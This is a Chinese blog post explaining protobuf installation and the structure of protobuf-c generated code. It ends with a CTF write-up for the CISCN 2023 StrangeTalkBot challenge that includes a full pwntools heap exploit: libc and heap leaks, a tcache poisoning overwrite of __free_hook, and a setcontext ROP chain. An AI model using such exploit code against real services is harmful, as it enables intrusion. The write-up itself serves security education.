浅谈protobuf

浅谈protobuf

protobuf在linux下的安装

安装protobuf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
https://github.com/protocolbuffers/protobuf/releases/v3.6.1/protobuf-cpp-3.6.1.tar.gz
tar -xvzf protobuf-cpp-3.6.1.tar.gz
./configure
make
sudo make install
sudo ldconfig
protoc --version

##查看protoc在/usr/local/bin/动态链接是否正确
## ❯ ldd protoc
linux-vdso.so.1 (0x00007ffc3b5ce000)
libprotoc.so.17 => /usr/local/lib/libprotoc.so.17 (0x00007f835e800000)
libstdc++.so.6 => /lib/x86_64-linux-gnu/libstdc++.so.6 (0x00007f835e400000)
libgcc_s.so.1 => /lib/x86_64-linux-gnu/libgcc_s.so.1 (0x00007f835eb52000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f835e000000)
libprotobuf.so.17 => /usr/local/lib/libprotobuf.so.17 (0x00007f835dc00000)
/lib64/ld-linux-x86-64.so.2 (0x00007f835eb8a000)
libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007f835ea69000)
libz.so.1 => /lib/x86_64-linux-gnu/libz.so.1 (0x00007f835e7e4000)

安装C编译插件

1
2
3
4
5
https://github.com/protobuf-c/protobuf-c
tar -xzvf protobuf-c.tar.gz
cd protobuf-c
./configure && make
sudo make install

protobuf结构体解析

示例:

1
2
3
4
5
6
7
8
syntax = "proto2";
package p0ach1l;
message devicemsg {
required sint64 actionid = 1;
required sint64 msgidx = 2;
required sint64 msgsize = 3;
required bytes msgcontent = 4;
}

编译

1
2
protoc --c_out=./ p0ach1l.proto ##C
protoc --python_out=./ p0ach1l.proto ##python

c语言生成两个文件(.c和.h)

image-20241210113134556

python生成一个py文件

image-20241210113228260

下面来分析c语言下编译的文件

函数操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
/* Generated by the protocol buffer compiler.  DO NOT EDIT! */
/* Generated from: p0ach1l.proto */

/* Do not generate deprecated warnings for self */
#ifndef PROTOBUF_C__NO_DEPRECATED
#define PROTOBUF_C__NO_DEPRECATED
#endif

#include "p0ach1l.pb-c.h"
void p0ach1l__devicemsg__init /*初始化 P0ach1l__Devicemsg 消息结构。该函数将一个静态的初始化值*/
(P0ach1l__Devicemsg *message)
{
static const P0ach1l__Devicemsg init_value = P0ACH1L__DEVICEMSG__INIT;
*message = init_value;
}
size_t p0ach1l__devicemsg__get_packed_size /*返回 P0ach1l__Devicemsg 消息在序列化(打包)后的字节大小*/
(const P0ach1l__Devicemsg *message)
{
assert(message->base.descriptor == &p0ach1l__devicemsg__descriptor);
return protobuf_c_message_get_packed_size ((const ProtobufCMessage*)(message));
}
size_t p0ach1l__devicemsg__pack /*将 P0ach1l__Devicemsg 消息打包成二进制格式,输出到 out 指向的缓冲区。*/
(const P0ach1l__Devicemsg *message,
uint8_t *out)
{
assert(message->base.descriptor == &p0ach1l__devicemsg__descriptor);
return protobuf_c_message_pack ((const ProtobufCMessage*)message, out);
}
size_t p0ach1l__devicemsg__pack_to_buffer /*与 p0ach1l__devicemsg__pack 类似,不过是将消息打包到一个 ProtobufCBuffer 类型的缓冲区,而不是直接到 uint8_t* 数组中。*/
(const P0ach1l__Devicemsg *message,
ProtobufCBuffer *buffer)
{
assert(message->base.descriptor == &p0ach1l__devicemsg__descriptor);
return protobuf_c_message_pack_to_buffer ((const ProtobufCMessage*)message, buffer);
}
P0ach1l__Devicemsg *
p0ach1l__devicemsg__unpack
(ProtobufCAllocator *allocator,
size_t len,
const uint8_t *data)
{
return (P0ach1l__Devicemsg *)
protobuf_c_message_unpack (&p0ach1l__devicemsg__descriptor,
allocator, len, data);
}
void p0ach1l__devicemsg__free_unpacked /*从二进制数据中解包出 P0ach1l__Devicemsg 消息结构。*/
(P0ach1l__Devicemsg *message,
ProtobufCAllocator *allocator)
{
if(!message)
return;
assert(message->base.descriptor == &p0ach1l__devicemsg__descriptor);
protobuf_c_message_free_unpacked ((ProtobufCMessage*)message, allocator);
}

P0ach1l__Devicemsg结构体

1
2
3
4
5
6
7
8
struct  P0ach1l__Devicemsg
{
ProtobufCMessage base;
int64_t actionid;
int64_t msgidx;
int64_t msgsize;
ProtobufCBinaryData msgcontent;
};

ProtobufCMessage结构体

1
2
3
4
5
6
7
8
struct ProtobufCMessage {
/** The descriptor for this message type. */
const ProtobufCMessageDescriptor *descriptor;
/** The number of elements in `unknown_fields`. */
unsigned n_unknown_fields;
/** The fields that weren't recognized by the parser. */
ProtobufCMessageUnknownField *unknown_fields;
};

ProtobufCFieldDescriptor结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
static const ProtobufCFieldDescriptor p0ach1l__devicemsg__field_descriptors[4] =
{
{
"actionid",
1,
PROTOBUF_C_LABEL_REQUIRED,
PROTOBUF_C_TYPE_SINT64,
0, /* quantifier_offset */
offsetof(P0ach1l__Devicemsg, actionid),
NULL,
NULL,
0, /* flags */
0,NULL,NULL /* reserved1,reserved2, etc */
},
{
"msgidx",
2,
PROTOBUF_C_LABEL_REQUIRED,
PROTOBUF_C_TYPE_SINT64,
0, /* quantifier_offset */
offsetof(P0ach1l__Devicemsg, msgidx),
NULL,
NULL,
0, /* flags */
0,NULL,NULL /* reserved1,reserved2, etc */
},
{
"msgsize",
3,
PROTOBUF_C_LABEL_REQUIRED,
PROTOBUF_C_TYPE_SINT64,
0, /* quantifier_offset */
offsetof(P0ach1l__Devicemsg, msgsize),
NULL,
NULL,
0, /* flags */
0,NULL,NULL /* reserved1,reserved2, etc */
},
{
"msgcontent",
4,
PROTOBUF_C_LABEL_REQUIRED,
PROTOBUF_C_TYPE_BYTES,
0, /* quantifier_offset */
offsetof(P0ach1l__Devicemsg, msgcontent),
NULL,
NULL,
0, /* flags */
0,NULL,NULL /* reserved1,reserved2, etc */
},
};

查看结构体定义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
struct ProtobufCFieldDescriptor {
/** 字段在 .proto 文件中指定的名称 */
const char *name;

/** 字段在 .proto 文件中指定的标签值 */
uint32_t id;

/** 字段的类型,`REQUIRED`(必需),`OPTIONAL`(可选),`REPEATED`(重复) */
ProtobufCLabel label;

/** 字段的类型 */
ProtobufCType type;

/**
* 字段在 C 结构体中的量化字段偏移量(例如 `has_MEMBER` 字段用于可选字段,或者 `n_MEMBER` 字段用于重复字段,或者 `case` 枚举用于 oneof 字段)。
*/
unsigned quantifier_offset;
/**
* 字段在 C 结构体中的成员偏移量
*/
unsigned offset;

/**
* 类型特定的描述符。
*
* 如果 `type` 是 `PROTOBUF_C_TYPE_ENUM`,则 `descriptor` 指向相应的 `ProtobufCEnumDescriptor`。
*
* 如果 `type` 是 `PROTOBUF_C_TYPE_MESSAGE`,则 `descriptor` 指向相应的 `ProtobufCMessageDescriptor`。
*
* 否则该字段为 NULL。
*/
const void *descriptor; /* 对于消息和枚举类型 */

/** 如果定义了默认值,则为该字段的默认值。可以为 NULL。 */
const void *default_value;

/**
* 标志位字。可以设置零个或多个在 `ProtobufCFieldFlag` 枚举中定义的位。
*/
uint32_t flags;

/** 为未来用途保留的字段 */
unsigned reserved_flags;

/** 为未来用途保留的字段 */
void *reserved2;

/** 为未来用途保留的字段 */
void *reserved3;
};

ProtobufCBinaryData

1
2
3
4
struct ProtobufCBinaryData {
size_t len; /**< Number of bytes in the `data` field. */
uint8_t *data; /**< Data bytes. */
};

编译信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const ProtobufCMessageDescriptor p0ach1l__devicemsg__descriptor =
{
PROTOBUF_C__MESSAGE_DESCRIPTOR_MAGIC,
"p0ach1l.devicemsg",
"Devicemsg",
"P0ach1l__Devicemsg",
"p0ach1l",
sizeof(P0ach1l__Devicemsg),
4,
p0ach1l__devicemsg__field_descriptors,
p0ach1l__devicemsg__field_indices_by_name,
1, p0ach1l__devicemsg__number_ranges,
(ProtobufCMessageInit) p0ach1l__devicemsg__init,
NULL,NULL,NULL /* reserved[123] */
};

ProtobufCMessageDescriptor结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
struct ProtobufCMessageDescriptor {
/** Magic value checked to ensure that the API is used correctly. */
uint32_t magic;

/** The qualified name (e.g., "namespace.Type"). */
const char *name;
/** The unqualified name as given in the .proto file (e.g., "Type"). */
const char *short_name;
/** Identifier used in generated C code. */
const char *c_name;
/** The dot-separated namespace. */
const char *package_name;

/**
* Size in bytes of the C structure representing an instance of this
* type of message.
*/
size_t sizeof_message;

/** Number of elements in `fields`. */ //整个消息中 元素数个数
unsigned n_fields;
/** Field descriptors, sorted by tag number. */ //字段描述符,按标签编号排序,指向第一个字段
const ProtobufCFieldDescriptor *fields;
/** Used for looking up fields by name. */
const unsigned *fields_sorted_by_name;

/** Number of elements in `field_ranges`. */
unsigned n_field_ranges;
/** Used for looking up fields by id. */
const ProtobufCIntRange *field_ranges;

/** Message initialisation function. */
ProtobufCMessageInit message_init;

/** Reserved for future use. */
void *reserved1;
/** Reserved for future use. */
void *reserved2;
/** Reserved for future use. */
void *reserved3;
};

数据类型&&字段的性质

ProtobufCType 结构体(type) 指定了字段的类型:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
typedef enum {
0 PROTOBUF_C_TYPE_INT32, /**< int32 */
1 PROTOBUF_C_TYPE_SINT32, /**< signed int32 */
2 PROTOBUF_C_TYPE_SFIXED32, /**< signed int32 (4 bytes) */
3 PROTOBUF_C_TYPE_INT64, /**< int64 */
4 PROTOBUF_C_TYPE_SINT64, /**< signed int64 */
5 PROTOBUF_C_TYPE_SFIXED64, /**< signed int64 (8 bytes) */
6 PROTOBUF_C_TYPE_UINT32, /**< unsigned int32 */
7 PROTOBUF_C_TYPE_FIXED32, /**< unsigned int32 (4 bytes) */
8 PROTOBUF_C_TYPE_UINT64, /**< unsigned int64 */
9 PROTOBUF_C_TYPE_FIXED64, /**< unsigned int64 (8 bytes) */
0xa PROTOBUF_C_TYPE_FLOAT, /**< float */
0xb PROTOBUF_C_TYPE_DOUBLE, /**< double */
0xc PROTOBUF_C_TYPE_BOOL, /**< boolean */
0xd PROTOBUF_C_TYPE_ENUM, /**< enumerated type */
0xe PROTOBUF_C_TYPE_STRING, /**< UTF-8 or ASCII string */
0xf PROTOBUF_C_TYPE_BYTES, /**< arbitrary byte sequence */
0x10 PROTOBUF_C_TYPE_MESSAGE, /**< nested message */
} ProtobufCType;

ProtobufCLabel 结构(label) 指定了字段的性质:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
typedef enum {
/** A well-formed message must have exactly one of this field. */
//格式正确的消息必须具有此字段
PROTOBUF_C_LABEL_REQUIRED,

/**
* A well-formed message can have zero or one of this field (but not
* more than one).
*/
//格式正确的消息可以有零个或一个此字段(但不能超过一个)
PROTOBUF_C_LABEL_OPTIONAL,

/**
* This field can be repeated any number of times (including zero) in a
* well-formed message. The order of the repeated values will be
* preserved.
*/
//此字段可以在格式正确的消息中重复任意次数(包括零)。将保留重复值的顺序
PROTOBUF_C_LABEL_REPEATED,

/**
* This field has no label. This is valid only in proto3 and is
* equivalent to OPTIONAL but no "has" quantifier will be consulted.
*/
//此字段没有标签。这仅在proto3中有效,等效于 OPTIONAL,但不查询"has"量词(proto3中没有has量词)。
PROTOBUF_C_LABEL_NONE,
} ProtobufCLabel;

后面题目中要用到的 ProtobufCBinaryData 结构体:

1
2
3
4
struct ProtobufCBinaryData {
size_t len; /**< Number of bytes in the `data` field. */
uint8_t *data; /**< Data bytes. */
};

[CISCN 2023 初赛]StrangeTalkBot

这里可以直接看到ProtobufCMessageDescriptor结构体的信息,肯定是proto的题,函数的作用肯定就是反序列化了

直接便然魔数也是可以的

image-20241210122942062

分析结构体进行还原

image-20241210123326927

image-20241210123410284

image-20241210123519961

写出.proto源文件,确定版本方法,如果用了required就是2版本,3版本取消了required

1
2
3
4
5
6
7
8
syntax = "proto2";
package p0ach1l;
message devicemsg {
required sint64 actionid = 1;
required sint64 msgidx = 2;
required sint64 msgsize = 3;
required bytes msgcontent = 4;
}

编译一下,打包成库

1
protoc --python_out=./ p0ach1l.proto

libc版本是2.31_9.9的setcontext打ORW,参考以前博客

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
from pwn import *
from ctypes import *
from LibcSearcher import *
import sys
import p0ach1l_pb2

ls = lambda data :log.success(data)
lss = lambda s :ls('\033[1;31;40m%s ---> 0x%x \033[0m' % (s, eval(s)))

filename = './bot'
url = 'pwn.challenge.ctf.show 28200'

context.terminal = ['tmux', 'splitw', '-h', '-p', '80']
context.log_level = 'debug'
context.arch = "amd64"

match = re.match(r'([^:\s]+)(?::(\d+)|\s+(\d+))?', url)
hostname, port = (match.group(1), match.group(2) or match.group(3)) if match else (None, None)
p = (remote(hostname, port) if len(sys.argv) > 1 and sys.argv[1] == 're' else process(filename))
if len(sys.argv) > 1 and sys.argv[1] == 'de':
gdbscript = '''
b * main
'''
gdb.attach(p, gdbscript=gdbscript)
print("GDB attached successfully")
elf = ELF(filename)
libc = ELF("libc-2.31.so")

def add(index,size,content):
msg = p0ach1l_pb2.devicemsg() # 生成对象
msg.actionid = 1
msg.msgidx = index
msg.msgsize = size
msg.msgcontent = content
p.sendafter(b'You can try to have friendly communication with me now: ', msg.SerializeToString())

def edit(index,content):
msg = p0ach1l_pb2.devicemsg()
msg.actionid = 2
msg.msgidx = index
msg.msgsize = len(content)
msg.msgcontent = content
p.sendafter(b'You can try to have friendly communication with me now: ', msg.SerializeToString())

def show(index):
msg = p0ach1l_pb2.devicemsg()
msg.actionid = 3
msg.msgidx = index
msg.msgsize = 7
msg.msgcontent = b'useless'
p.sendafter(b'You can try to have friendly communication with me now: ', msg.SerializeToString())

def free(index):
msg = p0ach1l_pb2.devicemsg()
msg.actionid = 4
msg.msgidx = index
msg.msgsize = 7
msg.msgcontent = b'useless'
p.sendafter(b'now: ', msg.SerializeToString())

for i in range(8) :
add(i , 0xf0 , b'')

for i in range(8) :
free(i)

show(7)
main_arean = u64(p.recvuntil("\x7f")[-6:].ljust(8 , b'\x00')) - 96
libc_base = main_arean - 0x1ecb80
show(0)
p.recvuntil(b'\x00' * 8)
heap_base = u64(p.recv(6).ljust(8 , b'\x00')) - 0x10

free_hook = libc_base + libc.sym['__free_hook']
setcontext = libc_base + libc.sym['setcontext'] + 61
magic_gadget = libc_base + 0x0000000000151990

add(8 , 0x20 , b'')
add(9 , 0x20 , b'')
free(8)
free(9)
edit(9 , p64(free_hook))
add(10 , 0x20 , b'')
add(11 , 0x20 , p64(magic_gadget))


open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
pop_rdi = libc_base + 0x0000000000023b6a
pop_rsi = libc_base + 0x000000000002601f
pop_rdx_r12 = libc_base + 0x0000000000119211
pop_rax = libc_base + 0x0000000000036174
syscall = read_addr + 16
ret = libc_base + 0x0000000000022679

rdx = heap_base + 0xad0
orw = heap_base + 0x980
flag = heap_base + 0xad0
flag_addr = heap_base + 0x100

#open
orwcode = p64(pop_rdi) + p64(flag)
orwcode += p64(pop_rsi) + p64(0)
orwcode += p64(pop_rax) + p64(2)
orwcode += p64(syscall)

#read
orwcode += p64(pop_rdi) + p64(3)
orwcode += p64(pop_rsi) + p64(flag_addr)
orwcode += p64(pop_rdx_r12) + p64(0x50) + p64(0)
orwcode += p64(read_addr)

#wride
orwcode += p64(pop_rdi) + p64(1)
orwcode += p64(pop_rsi) + p64(flag_addr)
orwcode += p64(pop_rdx_r12) + p64(0x50) + p64(0)
orwcode += p64(write_addr)

print(hex(len(orwcode)))

payload = b'./flag\x00\x00' + p64(rdx)
payload = payload.ljust(0x20) + p64(setcontext)
payload = payload.ljust(0xa0 , b'\x00') + p64(orw) + p64(ret)
add(12 , 0xf0 , payload)
add(13 , 0xf0 , orwcode)

pause()
free(12)
lss("setcontext")
lss("syscall")
lss("magic_gadget")
lss('open_addr')
lss("read_addr")
lss("write_addr")
lss("free_hook")
lss("heap_base")
lss("libc_base")
lss("main_arean")
p.interactive()